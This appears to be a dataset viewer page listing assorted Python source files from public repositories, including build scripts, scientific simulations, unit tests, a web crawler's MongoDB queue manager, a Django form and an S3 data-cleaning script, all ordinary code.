Reset23/the-stack-v2-new-python · Datasets at Hugging Face

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srcfiles = [ 'console.cpp', 'leakTracer.cpp', 'log.cpp', 'profile.cpp', 'cbuf.cpp', 'commandSystem.cpp', 'cvarSystem.cpp', 'common.cpp', 'timer.cpp', 'keys.cpp', 'defMgr.cpp', 'def.cpp', ] subdirs = ['fileSystem', ] Import('env') objs = [] if len(srcfiles) > 0: objs += env.Object(srcfiles) for dir in subdirs: objs += env.SConscript(dir + '/SConscript') Return('objs')

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Alexander-Serov/out-of-equilibrium-detection

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# infer_D_through_autocorrelation_1D.py # %% try: bl_has_run except Exception: %matplotlib %load_ext autoreload %autoreload 2 bl_has_run = True import os import pickle import matplotlib.pyplot as plt import numpy as np from numpy import arctan, cos, pi, sin from tqdm import tqdm from hash_me import hash_me from simulate_2d_confined import \ simulate_2_confined_particles_with_fixed_angle_bond # # %% Constants # dr = np.array([-0.9, 18]) # U = get_rotation_matrix(dr) # U @ dr # %% Constants D1 = 5 # um^2/s; 0.4 D2 = 1 # um^2/s k12 = 1e-6 # kg/s^2. Somehting interesting happens at 5e-7 T = 5e1 # s gamma = 1e-8 # viscous drag, in kg/s lags = range(10) # D_ratios = [0.1, 0.5, 1.0, 5, 10] def get_rotation_matrix(dr): """Return a rotation matrix that rotates the given vector to be aligned with the positive direction of x axis""" tan_theta = - dr[1] / dr[0] if dr[0] != 0 else np.inf * (-dr[1]) if dr[0] >= 0: theta = arctan(tan_theta) else: theta = arctan(tan_theta) + pi # print(theta / pi) # theta = 0 R = np.array([[cos(theta), - sin(theta)], [sin(theta), cos(theta)]]) return R def locally_rotate_a_vector(dR, lag): """Create a vector, such that its component at position j+lag were defined by a rotation matrix for position j, which aligns the vector at position j with the axis x""" N = dR.shape[1] rotated = np.full_like(dR, np.nan) for j in range(N - lag): dr = dR[:, j] RM = get_rotation_matrix(dr) rotated[:, j] = RM @ dR[:, j + lag] return rotated # 4.86/2.36 # D1/D2 fig = plt.figure(num=2, clear=0) fig.clear() ax = fig.gca() ax.plot([0, np.max(lags)], [0] * 2, 'k') # for D_ratio in D_ratios: # print(D_ratio) # D1 = D2 * D_ratio recalculate = 1 hash = hash_me('2D', D1, D2, k12, T, gamma) filename = 'data/data_' + hash + '.pyc' if os.path.exists(filename) and recalculate == False: with open(filename, 'rb') as file: t, X, dX, Y, dY = pickle.load(file) else: t, X, dX, Y, dY = simulate_2_confined_particles_with_fixed_angle_bond(D1=D1, D2=D2, k12=k12, gamma=gamma, T=T, plot=True, save=False) with open(filename, 'wb') as file: pickle.dump([t, X, dX, Y, dY], file, pickle.HIGHEST_PROTOCOL) dt = t[1] - t[0] # % # Covariance of dX particle = 2 # 1 or 2 variable = dX[particle - 1, :] dR1 = np.array([dX[0, :], dY[0, :]]) dR2 = np.array([dX[1, :], dY[1, :]]) # variable = np.sum(dX, axis=0) / 2 # I will be looking at particle 2. The particle 1 will be the changing invisible one N = dR2.shape[1] cov_parallel = np.zeros(len(lags)) * np.nan mean_orthogonal = np.full_like(cov_parallel, np.nan) var_orthogonal = np.full_like(cov_parallel, np.nan) cov_orthogonal = np.full_like(cov_parallel, np.nan) cov_y = np.full_like(cov_parallel, np.nan) # For each dx I need to find the appropriate rotated lagged vector for i, lag in enumerate(tqdm(lags, desc='Calculating covariances')): # i = 0 # lag = 0 rot_0 = locally_rotate_a_vector(dR2, 0) rot_lag = locally_rotate_a_vector(dR2, lag) # Calculate the covariance between the x componnents of the new vectors cov_parallel[i] = np.nanmean(rot_0[0, :] * rot_lag[0, :]) # Calculate the mean orthogonal component mean_orthogonal[i] = np.nanmean(rot_lag[1, :]) # Calculate the variance of the orthogonal component var_orthogonal[i] = np.nanvar(rot_lag[1, :]) cov_orthogonal[i] = np.nanmean(rot_0[0, :] * rot_lag[1, :]) cov_y[i] = np.nanmean(rot_0[1, :] * rot_lag[1, :]) # print(cov_x / D2 / dt) # cov[i] = np.mean(variable[0:N - 1 - lag] * variable[lag:N - 1]) cov_parallel_norm = cov_parallel / (D2 * dt) mean_orthogonal_norm = mean_orthogonal / np.sqrt(D2 * dt) var_orthogonal_norm = var_orthogonal / (D2 * dt) cov_orthogonal_norm = cov_orthogonal / (D2 * dt) cov_y_norm = cov_y / (D2 * dt) # cn1 = cov_norm print(cov_parallel_norm) print(mean_orthogonal_norm) print(var_orthogonal_norm) print(cov_orthogonal_norm) # print(cn10 - cn1) # Plot the covariances # , label=f'$D_1/D_2 = $ {D_ratio:.2f}') ax.plot(lags, cov_parallel_norm, '-o', label='$\\overline{\\Delta x_n \\Delta x_{n+j}}$') ax.plot(lags, mean_orthogonal_norm, '-o', label='$\\overline{\\Delta y_{n+j}}$') ax.plot(lags, var_orthogonal_norm, '-o', label='$\\overline{(\\Delta y_{n+j})^2}$') # ax.plot(lags, cov_orthogonal_norm, '-o', # label='$\\overline{\\Delta x_n \\Delta y_{n+j}}$') ax.plot(lags, cov_y_norm, '-o', label='$\\overline{\\Delta y_n \\Delta y_{n+j}}$') # plt.plot(lags, cn10-cn1, '-x') plt.figure(num=2) # plt.ylabel('$\\overline{\\Delta x_n \\Delta x_{n+j}}$') plt.ylabel('Covariances') plt.xlabel('Lag $j$') plt.ylim([-1, 5.0]) plt.title(f'$D_2 = {D2:.2f}$') plt.legend() fig.show() # %% # figname = 'figs/covariance_dif_increase_other_D' # fig.savefig(figname + '.pdf') # fig.savefig(figname + '.png')

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import io from main import * from unittest import mock @mock.patch("main.open_file") def test_read_csv(mock_close_file_and_exit): f = io.StringIO("some initial text data") mock_close_file_and_exit.return_value = f got_data = read_csv("does_not_exist.csv") assert got_data == {} def test_read_csv_with_file(): expected_dict = {'0': {'user_pseudo_id': '0', 'First': 'John', 'Last': 'Doe', 'Age': '55', 'Country': 'USA'}, '1': {'user_pseudo_id': '1', 'First': 'Ajay', 'Last': 'Moktan', 'Age': '35', 'Country': 'AUS'}} got_data = read_csv("data/test_csv_correct.csv") assert expected_dict == got_data got_data = read_csv("data/test_csv.csv") assert got_data == {} @mock.patch("main.sys.exit") def test_close_file_and_exit(mock_sys_exit): # Testing happy path close_file_and_exit(None, "example file") mock_sys_exit.assert_called_with(1) # Testing with incorrect file handler path close_file_and_exit("incorrect file", "example file") mock_sys_exit.assert_called_with(1) def test_open_file_with_correct_file(): file_path = "data/test_csv.csv" file = open_file(file_path, 'r') assert file.name == file_path @mock.patch("main.close_file_and_exit") def test_open_file_with_incorrect_file(mock_close_file_and_exit): file_path = "does_not_exist_test_file.csv" error_message = "Error in file operation [Errno 2] No such file or directory: '{}'".format(file_path) open_file(file_path, 'r') mock_close_file_and_exit.assert_called_with(None, error_message)

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robot-nan/GameLogServer

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# -*- coding:utf-8 -*- """ 宠物等级奖励 """ from apps.logs.action import action_base from apps.utils import game_define def log(user, gold, stone, equip_str, item_str): """ 输出日志 """ action = game_define.EVENT_ACTION_GET_MONSTER_LEVEL cur_gold = user.player.get_gold() cur_stone = user.player.get_stone() log_lst = action_base.log_base(user) log_lst.append(str(action)) log_lst.append(str(gold)) log_lst.append(str(cur_gold)) log_lst.append(str(stone)) log_lst.append(str(cur_stone)) log_lst.append(str(equip_str)) log_lst.append(str(item_str)) log_str = '$$'.join(log_lst) return log_str def parse(log_part_lst): """ 解析 """ result = dict() result['action'] = int(log_part_lst[0]) result['add_gold'] = int(log_part_lst[1]) result['cur_gold'] = int(log_part_lst[2]) result['add_stone'] = int(log_part_lst[3]) result['cur_stone'] = int(log_part_lst[4]) result['add_equip_list'] = action_base.get_val(log_part_lst, 5, [], True) result['add_item_list'] = action_base.get_val(log_part_lst, 6, [], True) result['old_gold'] = result['cur_gold'] - result['add_gold'] result['old_stone'] = result['cur_stone'] - result['add_stone'] return result

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from django.forms import ModelForm from minder.models import Mind class MindForm(ModelForm): class Meta: model = Mind fields = ['mind', 'mind_img']

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"""600. Smallest Rectangle Enclosing Black Pixels """ class Solution: """ @param image: a binary matrix with '0' and '1' @param x: the location of one of the black pixels @param y: the location of one of the black pixels @return: an integer """ def minArea(self, image, x, y): # write your code here if not image or not image[0]: return 0 m = len(image) n = len(image[0]) left = self.findFirst(image, 0, y, self.checkColumn) right = self.findLast(image, y, n - 1, self.checkColumn) up = self.findFirst(image, 0, x, self.checkRow) down = self.findLast(image, x, m - 1, self.checkRow) return (right - left + 1) * (down - up + 1) def findFirst(self, image, start, end, checkFunc): while start + 1 < end: mid = (start + end) // 2 if not checkFunc(image, mid): start = mid else: end = mid if checkFunc(image, start): return start return end def findLast(self, image, start, end, checkFunc): while start + 1 < end: mid = (start + end) // 2 if not checkFunc(image, mid): end = mid else: start = mid if checkFunc(image, end): return end return start def checkRow(self, image, row): for i in range(len(image[0])): if image[row][i] == "1": return True return False def checkColumn(self, image, col): for i in range(len(image)): if image[i][col] == "1": return True return False

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from matplotlib.pyplot import plot, show, scatter, hist, xlabel, ylabel from numpy import linspace def f(x, r): return 4*r*x*(1-x) R = 0.9642 xvals = linspace(0, 1, 1000) ypara = f(xvals, R) plot(xvals, xvals, 'k-') plot(xvals, ypara, 'k-') Xhistogram = [0.65] for j in range(1000): Xhistogram.append(f(Xhistogram[j], R)) Xhistogram = Xhistogram[99:949] Ypop = [] Xpop = [] for k in Xhistogram: Xpop.append(k) Ypop.append(f(k, R)) Xpop.append(f(k, R)) Ypop.append(f(k, R)) plot(Xpop, Ypop, 'k.-', linewidth = 0.1) xlabel('x') ylabel('f(x)') show()

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"""Tests for commands.py + Smoke tests for bash scripts in experiments/.""" import glob import os import pathlib import subprocess from typing import List import pytest SCRIPT_NAMES = ( "bc_benchmark.sh", "dagger_benchmark.sh", "benchmark_and_table.sh", "imit_benchmark.sh", "rollouts_from_policies.sh", "transfer_learn_benchmark.sh", ) THIS_DIR = pathlib.Path(__file__).absolute().parent BENCHMARKING_DIR = THIS_DIR.parent / "benchmarking" EXPERIMENTS_DIR = THIS_DIR.parent / "experiments" COMMANDS_PY_PATH = EXPERIMENTS_DIR / "commands.py" EXPECTED_LOCAL_CONFIG_TEMPLATE = """python -m imitation.scripts.train_imitation dagger \ --capture=sys --name=run0 --file_storage={output_dir}/sacred/\ $USER-cmd-run0-dagger-0-8bf911a8 \ with benchmarking/fast_dagger_seals_cartpole.json \ seed=0 logging.log_root={output_dir}""" EXPECTED_HOFVARPNIR_CONFIG_TEMPLATE = """ctl job run \ --name $USER-cmd-run0-dagger-0-c3ac179d \ --command "python -m imitation.scripts.train_imitation dagger \ --capture=sys --name=run0 --file_storage={output_dir}/sacred/\ $USER-cmd-run0-dagger-0-c3ac179d \ with /data/imitation/benchmarking/fast_dagger_seals_cartpole.json \ seed=0 logging.log_root={output_dir}" \ --container hacobe/devbox:imitation \ --login --force-pull --never-restart --gpu 0 \ --shared-host-dir-mount /data""" def _get_benchmarking_path(benchmarking_file): return os.path.join(BENCHMARKING_DIR.stem, benchmarking_file) def _run_commands_from_flags(**kwargs) -> List[str]: """Run commands.py with flags derived from the given `kwargs`. This is a helper function to reduce boilerplate code in the tests for commands.py. Each key-value pair in kwargs corresponds to one flag. If the value in the key-value is True, then the flag has the form "--key". If the value in the key-value is a list, then the flag has the form "--key value[0] value[1] ..." Otherwise, the flag has the form "--key=value". E.g., _run_commands_from_flags(name="baz", seeds=[0, 1], remote=True) will execute the following python command: python experiments/commands.py --name=baz --seeds 0 1 --remote The function will return the parsed output of executing that command. Args: kwargs: keyword arguments from which to derive flags. Returns: A list where the ith entry of the list is the ith line printed out by the python command. """ flags = [] # Add some defaults so that most tests can skip specifying these flags. if "name" not in kwargs: flags.append("--name=run0") if "cfg_pattern" not in kwargs: cfg_pattern = _get_benchmarking_path("fast_dagger_seals_cartpole.json") flags.append("--cfg_pattern=" + cfg_pattern) if "output_dir" not in kwargs: flags.append("--output_dir=output") # Build the flags. for key in kwargs: if isinstance(kwargs[key], bool) and kwargs[key]: flag = f"--{key}" elif isinstance(kwargs[key], list): value = " ".join(map(str, kwargs[key])) flag = f"--{key} {value}" else: flag = f"--{key}={kwargs[key]}" flags.append(flag) py_command = f"python {COMMANDS_PY_PATH} " + " ".join(flags) completed_process = subprocess.run( py_command, shell=True, capture_output=True, stdin=subprocess.DEVNULL, check=True, ) # Each line of the formatted stdout is a command. formatted_stdout = completed_process.stdout.decode("ascii").strip() commands = formatted_stdout.split("\n") return commands def test_commands_local_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") commands = _run_commands_from_flags() assert len(commands) == 1 expected = EXPECTED_LOCAL_CONFIG_TEMPLATE.format(output_dir="output") assert commands[0] == expected def test_commands_local_config_runs(tmpdir): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") commands = _run_commands_from_flags(output_dir=tmpdir) assert len(commands) == 1 expected = EXPECTED_LOCAL_CONFIG_TEMPLATE.format(output_dir=tmpdir) assert commands[0] == expected completed_process = subprocess.run( commands[0], shell=True, capture_output=True, stdin=subprocess.DEVNULL, check=True, ) assert completed_process.returncode == 0 assert (tmpdir / "dagger" / "seals-CartPole-v0").exists() assert (tmpdir / "sacred").exists() def test_commands_local_config_with_custom_flags(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") commands = _run_commands_from_flags( name="baz", seeds=1, output_dir="/foo/bar", ) assert len(commands) == 1 expected = """python -m imitation.scripts.train_imitation dagger \ --capture=sys --name=baz --file_storage=/foo/bar/sacred/\ $USER-cmd-baz-dagger-1-8bf911a8 \ with benchmarking/fast_dagger_seals_cartpole.json \ seed=1 logging.log_root=/foo/bar""" assert commands[0] == expected def test_commands_hofvarpnir_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") output_dir = "/data/output" commands = _run_commands_from_flags(output_dir=output_dir, remote=True) assert len(commands) == 1 expected = EXPECTED_HOFVARPNIR_CONFIG_TEMPLATE.format(output_dir=output_dir) assert commands[0] == expected def test_commands_hofvarpnir_config_with_custom_flags(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") commands = _run_commands_from_flags( name="baz", remote_cfg_dir="/bas/bat", seeds=1, output_dir="/foo/bar", container="bam", remote=True, ) assert len(commands) == 1 expected = """ctl job run --name $USER-cmd-baz-dagger-1-345d0f8a \ --command "python -m imitation.scripts.train_imitation dagger \ --capture=sys --name=baz --file_storage=/foo/bar/sacred/\ $USER-cmd-baz-dagger-1-345d0f8a \ with /bas/bat/fast_dagger_seals_cartpole.json \ seed=1 logging.log_root=/foo/bar" --container bam \ --login --force-pull --never-restart --gpu 0 \ --shared-host-dir-mount /data""" assert commands[0] == expected def test_commands_local_config_with_special_characters_in_flags(tmpdir): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") # Simulate running commands.py with the following flag: # --output_dir="\"/tmp/.../foo bar\"" # And generating a training command with the following flag: # --logging.log_root="/tmp/.../foo bar" # # If we didn't enclose the directory in quotes as in: # --output_dir=/tmp/.../foo bar # Then we would get an "unrecognized arguments: bar" error # trying to run commands.py. # # Or if we enclosed the directory in double quotes as in: # --output_dir="/tmp/.../foo bar" # Then we would generate a training command with the following flag: # --logging.log_root=/tmp/.../foo bar # And we would get an error trying to run the generated command. output_subdir = "foo bar" unquoted_output_dir = (tmpdir / f"{output_subdir}").strpath output_dir = '"\\"' + unquoted_output_dir + '\\""' commands = _run_commands_from_flags(output_dir=output_dir) assert len(commands) == 1 # The extra double quotes are removed in the generated command. # It has the following flag: # --logging.log_root="/tmp/.../foo bar" # So it can run without an error introduced by the space. expected = EXPECTED_LOCAL_CONFIG_TEMPLATE.format( output_dir='"' + unquoted_output_dir + '"', ) assert commands[0] == expected def test_commands_hofvarpnir_config_with_special_characters_in_flags(tmpdir): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") # See the comments in # test_commands_local_config_with_special_characters_in_flags # for a discussion of special characters in the flag values. output_subdir = "foo bar" unquoted_output_dir = (tmpdir / f"{output_subdir}").strpath output_dir = '"\\"' + unquoted_output_dir + '\\""' commands = _run_commands_from_flags(output_dir=output_dir, remote=True) assert len(commands) == 1 # Make sure double quotes are escaped in the training script command # because the training script command is itself enclosed in double # quotes within the cluster command. expected = EXPECTED_HOFVARPNIR_CONFIG_TEMPLATE.format( output_dir='\\"' + unquoted_output_dir + '\\"', ) assert commands[0] == expected def test_commands_bc_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") cfg_pattern = _get_benchmarking_path("example_bc_seals_ant_best_hp_eval.json") commands = _run_commands_from_flags(cfg_pattern=cfg_pattern) assert len(commands) == 1 expected = """python -m imitation.scripts.train_imitation bc \ --capture=sys --name=run0 --file_storage=output/sacred/\ $USER-cmd-run0-bc-0-138a1475 \ with benchmarking/example_bc_seals_ant_best_hp_eval.json \ seed=0 logging.log_root=output""" assert commands[0] == expected def test_commands_dagger_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") cfg_pattern = _get_benchmarking_path("example_dagger_seals_ant_best_hp_eval.json") commands = _run_commands_from_flags(cfg_pattern=cfg_pattern) assert len(commands) == 1 expected = """python -m imitation.scripts.train_imitation dagger \ --capture=sys --name=run0 --file_storage=output/sacred/\ $USER-cmd-run0-dagger-0-6a49161a \ with benchmarking/example_dagger_seals_ant_best_hp_eval.json \ seed=0 logging.log_root=output""" assert commands[0] == expected def test_commands_gail_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") cfg_pattern = _get_benchmarking_path("example_gail_seals_ant_best_hp_eval.json") commands = _run_commands_from_flags(cfg_pattern=cfg_pattern) assert len(commands) == 1 expected = """python -m imitation.scripts.train_adversarial gail \ --capture=sys --name=run0 --file_storage=output/sacred/\ $USER-cmd-run0-gail-0-3ec8154d \ with benchmarking/example_gail_seals_ant_best_hp_eval.json \ seed=0 logging.log_root=output""" assert commands[0] == expected def test_commands_airl_config(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") cfg_pattern = _get_benchmarking_path("example_airl_seals_ant_best_hp_eval.json") commands = _run_commands_from_flags(cfg_pattern=cfg_pattern) assert len(commands) == 1 expected = """python -m imitation.scripts.train_adversarial airl \ --capture=sys --name=run0 \ --file_storage=output/sacred/$USER-cmd-run0-airl-0-400e1558 \ with benchmarking/example_airl_seals_ant_best_hp_eval.json \ seed=0 logging.log_root=output""" assert commands[0] == expected def test_commands_multiple_configs(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") # Test a more complicated `cfg_pattern`. cfg_pattern = _get_benchmarking_path("*.json") commands = _run_commands_from_flags(cfg_pattern=cfg_pattern) assert len(commands) == len(glob.glob(cfg_pattern)) def test_commands_multiple_configs_multiple_seeds(): if os.name == "nt": # pragma: no cover pytest.skip("commands.py not ported to Windows.") cfg_pattern = _get_benchmarking_path("*.json") seeds = [0, 1, 2] commands = _run_commands_from_flags( cfg_pattern=cfg_pattern, seeds=seeds, ) n_configs = len(glob.glob(cfg_pattern)) n_seeds = len(seeds) assert len(commands) == (n_configs * n_seeds) @pytest.mark.parametrize( "script_name", SCRIPT_NAMES, ) def test_experiments_fast(script_name: str): """Quickly check that experiments run successfully on fast mode.""" if os.name == "nt": # pragma: no cover pytest.skip("bash shell scripts not ported to Windows.") exit_code = subprocess.call([f"./{EXPERIMENTS_DIR.stem}/{script_name}", "--fast"]) assert exit_code == 0

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xsren/uplooking_spider

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# coding:utf8 import sys import time import traceback from queue import Queue from pymongo import UpdateOne, ReplaceOne, InsertOne, UpdateMany from pymongo.errors import BulkWriteError from twisted.internet import reactor, defer # 本地库 sys.path.append('../main') import settings import common class DbManager: def __init__(self, logger, mc, write_queues, task_queues, count_queue): self.logger = logger self.mc = mc self.write_queues = write_queues self.task_queues = task_queues self.count_queue = count_queue def init_write_queue(self, dbName, collName): if self.write_queues.get(dbName, None) == None: self.write_queues[dbName] = {} self.write_queues[dbName][collName] = Queue(maxsize=settings.write_queue_size) else: if self.write_queues[dbName].get(collName, None) == None: self.write_queues[dbName][collName] = Queue(maxsize=settings.write_queue_size) def init_task_queue(self, dbName, collName): if self.task_queues.get(dbName, None) == None: self.task_queues[dbName] = {} self.task_queues[dbName][collName] = Queue(maxsize=settings.write_queue_size) else: if self.task_queues[dbName].get(collName, None) == None: self.task_queues[dbName][collName] = Queue(maxsize=settings.write_queue_size) ''' 一般网站公用的处理代码 common ''' def cleanup_handle_queue(self): self.logger.info("clear ... cleanup begin") try: reactor.callInThread(self._handle_write_queue, 1) # self._handle_write_queue(limit=1) self._handle_count_queue(limit=1) except BulkWriteError as bwe: self.logger.error(bwe.details) # you can also take this component and do more analysis werrors = bwe.details['writeErrors'] self.logger.error(werrors) except Exception as e: self.logger.error(str(e)) traceback.print_exc() self.logger.info("clear ... cleanup end") def _handle_write_queue(self, limit): for dbName, v in self.write_queues.items(): for collName, _queue in v.items(): if _queue.qsize() >= limit: t0 = time.time() requests, dups = [], [] qsize = _queue.qsize() while _queue.qsize() > 0: try: tup = _queue.get_nowait() _queue.task_done() except Exception as e: self.logger.error(str(e)) break if tup[0] in dups: continue else: dups.append(tup[0]) requests.append(tup[1]) if len(requests) > 0: self.mc[dbName][collName].bulk_write(requests) t_diff = time.time() - t0 info = "handle_write_queue,db:%s,coll:%s,size:%s,t_diff:%s" % (dbName, collName, qsize, t_diff) self.logger.info(info) def _handle_count_queue(self, limit): if self.count_queue.qsize() >= limit: t0 = time.time() requests = [] qsize = self.count_queue.qsize() while self.count_queue.qsize() > 0: try: tmp = self.count_queue.get_nowait() self.count_queue.task_done() except Exception as e: self.logger.error(str(e)) break requests.append(tmp) if len(requests) > 0: self.mc[settings.count_db_name][settings.count_coll_name].bulk_write(requests) t_diff = time.time() - t0 info = "handle_count_queue,size:%s,t_diff,%s" % (qsize, t_diff) self.logger.info(info) @defer.inlineCallbacks def _common_put_task_to_db(self, dbName, collName, data): t0 = time.time() self.init_write_queue(dbName, collName) # 统计 res = yield self.mc[dbName][collName].find({"url": {"$in": list(set([t['url'] for t in data]))}}, {'url': 1}) exists = [r['url'] for r in res] self.saveCountData(dbName, collName, common.NEW_TASK, len(data) - len(exists)) # 更新数据 for t in data: if t["url"] not in exists: self.write_queues[dbName][collName].put((t['url'], InsertOne(t))) t_diff = time.time() - t0 info = "%s, %s, %s" % (dbName, collName, t_diff) self.logger.debug(info) defer.returnValue([]) @defer.inlineCallbacks def _common_get_task_from_db(self, dbName, collName, count): t0 = time.time() self.init_task_queue(dbName, collName) info = '%s, %s, qsize:%s' % (dbName, collName, self.task_queues[dbName][collName].qsize()) self.logger.debug(info) if self.task_queues[dbName][collName].qsize() <= 0: t1 = time.time() tasks = yield self.mc[dbName][collName].find({'status': common.NOT_CRAWL}, limit=count * 10) # .limit(settings.get_tasks_num_one_time) # tasks = self.mc[dbName][collName].find({'status':common.NOT_CRAWL}, limit=settings.get_tasks_num_one_time) requests, ts = [], [] for task in tasks: requests.append( UpdateMany({'url': task["url"]}, {"$set": {"status": common.CRAWLING, "last_crawl_time": 0}})) task.pop('_id') ts.append(task) if len(requests) > 0: # self.mc[dbName][collName].bulk_write(requests) yield self.mc[dbName][collName].bulk_write(requests) for t in ts: self.task_queues[dbName][collName].put(t) t_diff = time.time() - t1 info = "query mongo, %s, %s, get:%s, use time:%s" % (dbName, collName, len(ts), t_diff) self.logger.debug(info) ts = [] for x in range(count): try: t = self.task_queues[dbName][collName].get_nowait() self.task_queues[dbName][collName].task_done() ts.append(t) except: # self.logger.error(str(e)) continue t_diff = time.time() - t0 info = "total, %s, %s, return : %s , use time : %s" % (dbName, collName, len(ts), t_diff) self.logger.debug(info) defer.returnValue(ts) def _common_change_task_status(self, dbName, collName, data): t0 = time.time() self.init_write_queue(dbName, collName) # 统计 success = [t['url'] for t in data if t['status'] == common.CRAWL_SUCCESS] self.saveCountData(dbName, collName, common.ONE_TASK, len(success)) # 更新数据 for t in data: # self.logger.debug('url:%s,status:%s'%(t['url'],t['status'])) self.write_queues[dbName][collName].put( (t['url'], UpdateMany({'url': t['url']}, {"$set": {'status': t['status'], 'last_crawl_time': time.time() }}) ) ) t_diff = time.time() - t0 info = "%s, %s, %s" % (dbName, collName, t_diff) self.logger.debug(info) def _common_put_data_to_db(self, dbName, collName, data): """为了性能，使用的是eplace方法""" t0 = time.time() self.init_write_queue(dbName, collName) # 统计 self.saveCountData(dbName, collName, common.ONE_DATA, len(data)) # for t in data: t['crawl_time'] = time.time() self.write_queues[dbName][collName].put((t['url'], ReplaceOne({'url': t['url']}, t, upsert=True))) t_diff = time.time() - t0 info = "%s, %s, %s" % (dbName, collName, t_diff) self.logger.debug(info) def _common_insert_data_if_not_exist(self, dbName, collName, data): """如果数据不存在则插入，否则pass""" t0 = time.time() for t in data: if not self.mc[dbName][collName].find_one({'url': t['url']}): t['crawl_time'] = time.time() self.mc[dbName][collName].insert_one(t) t_diff = time.time() - t0 info = "%s, %s, %s" % (dbName, collName, t_diff) self.logger.debug(info) def _common_update_data(self, dbName, collName, data): """更新数据""" t0 = time.time() self.init_write_queue(dbName, collName) for t in data: t['crawl_time'] = time.time() self.write_queues[dbName][collName].put((t['url'], UpdateOne({'url': t['url']}, t, upsert=True))) t_diff = time.time() - t0 info = "%s, %s, %s" % (dbName, collName, t_diff) self.logger.debug(info) # 存储统计数据 def saveCountData(self, dbName, collName, _type, count): date = time.strftime("%Y-%m-%d", time.localtime()) # 网站 u1 = UpdateOne({'date': date, 'dbName': dbName, 'collName': collName, "_type": _type}, {'$inc': {'total': count}}, upsert=True) # 总体 u2 = UpdateOne({'date': date, 'dbName': "all", 'collName': "all", "_type": _type}, {'$inc': {'total': count}}, upsert=True) self.count_queue.put(u1) self.count_queue.put(u2) if __name__ == '__main__': pass

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# -*- coding: utf-8 -*- """ Created on Tue Jun 29 23:53:45 2021 @author: adity """ import requests from data_input import data_in URL = 'http://127.0.0.1:5000/predict' headers = {"Content-Type": "application/json"} data = {"input":data_in} r = requests.get(URL,headers=headers,json=data) r.json()

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# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import testtools from openstack.cloud_eye import cloud_eye_service class TestCloudEyeService(testtools.TestCase): def test_service(self): sot = cloud_eye_service.CloudEyeService() self.assertEqual('cloud-eye', sot.service_type) self.assertEqual('public', sot.interface) self.assertIsNone(sot.region) self.assertIsNone(sot.service_name) self.assertEqual(1, len(sot.valid_versions)) self.assertEqual('v1', sot.valid_versions[0].module) self.assertEqual('v1', sot.valid_versions[0].path)

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##not nicely packaged as a fucntion yet sorry import boto3 from pprint import pprint import csv s3_client = boto3.client('s3') contents = s3_client.list_objects_v2(Bucket='data8-engineering-project')['Contents'] a= 0 for x in contents: a = a + 1 b= a splitfile = x['Key'].split('/') if splitfile[0] == 'Academy': ###doesnt work because all the taqlent ones are more than 1000th in the list data = s3_client.get_object(Bucket='data8-engineering-project', Key = x['Key']) old_data = data['Body'].read().decode('utf-8').strip() old_data1 =(old_data.replace(' ', '')) old_data2 = old_data1.split() print(old_data2) csv_reader = csv.DictReader(old_data2) with open('Blank_CSV' + str(b) + '.csv', 'w') as new_file: fieldnames = ['name', 'trainer', 'IH_W1', 'IS_W1', 'PV_W1', 'PS_W1', 'SD_W1', 'SA_W1', 'IH_W2', 'IS_W2', 'PV_W2', 'PS_W2', 'SD_W2', 'SA_W2', 'IH_W3', 'IS_W3', 'PV_W3', 'PS_W3', 'SD_W3', 'SA_W3', 'IH_W4', 'IS_W4', 'PV_W4', 'PS_W4', 'SD_W4', 'SA_W4', 'IH_W5', 'IS_W5', 'PV_W5', 'PS_W5', 'SD_W5', 'SA_W5', 'IH_W6', 'IS_W6', 'PV_W6', 'PS_W6', 'SD_W6', 'SA_W6', 'IH_W7', 'IS_W7', 'PV_W7', 'PS_W7', 'SD_W7', 'SA_W7', 'IH_W8', 'IS_W8', 'PV_W8', 'PS_W8', 'SD_W8', 'SA_W8', 'IH_W9', 'IS_W9', 'PV_W9', 'PS_W9', 'SD_W9', 'SA_W9', 'IH_W10', 'IS_W10', 'PV_W10', 'PS_W10', 'SD_W10', 'SA_W10'] csv_writer = csv.DictWriter(new_file, fieldnames=fieldnames) csv_writer.writeheader() for line in csv_reader: # Iterates through the user_details file in read mode. csv_writer.writerow(line)

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#!/usr/bin/python3 """ Defines empty class Square """ class Square: pass

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from xai.brain.wordbase.adjectives._subordinate import _SUBORDINATE #calss header class _SUBORDINATING(_SUBORDINATE, ): def __init__(self,): _SUBORDINATE.__init__(self) self.name = "SUBORDINATING" self.specie = 'adjectives' self.basic = "subordinate" self.jsondata = {}

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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('posts', '0010_auto_20160920_1545'), ] operations = [ migrations.AddField( model_name='post', name='confession', field=models.BooleanField(default=False), ), ]

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satyam-seth-learnings/python_learning

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py

from functools import reduce a=[10,20,30,40,50] result=reduce(lambda n,m:n+m,a) print(result) print(type(result))

[ "satyam1998.1998@gmail.com" ]

satyam1998.1998@gmail.com

fcb6271b2ee05afbde34d933504cfdd1ae3f7cc4

1647fced5b389cdee749bd81d809db6442b2c1d7

/listmethods/listmeth01.py

01f537ddf52561205afb339f82db6c2290d12669

[]

no_license

Lalit554/mycode

774931e68db8a97a88bbcfc9c685c7844c7870c8

39d186fde871c3a118a0c65888390b0e81ff921f

refs/heads/main

2023-06-06T12:03:56.009416

2021-06-23T18:31:39

361,773,554

0

null

UTF-8

Python

false

173

py

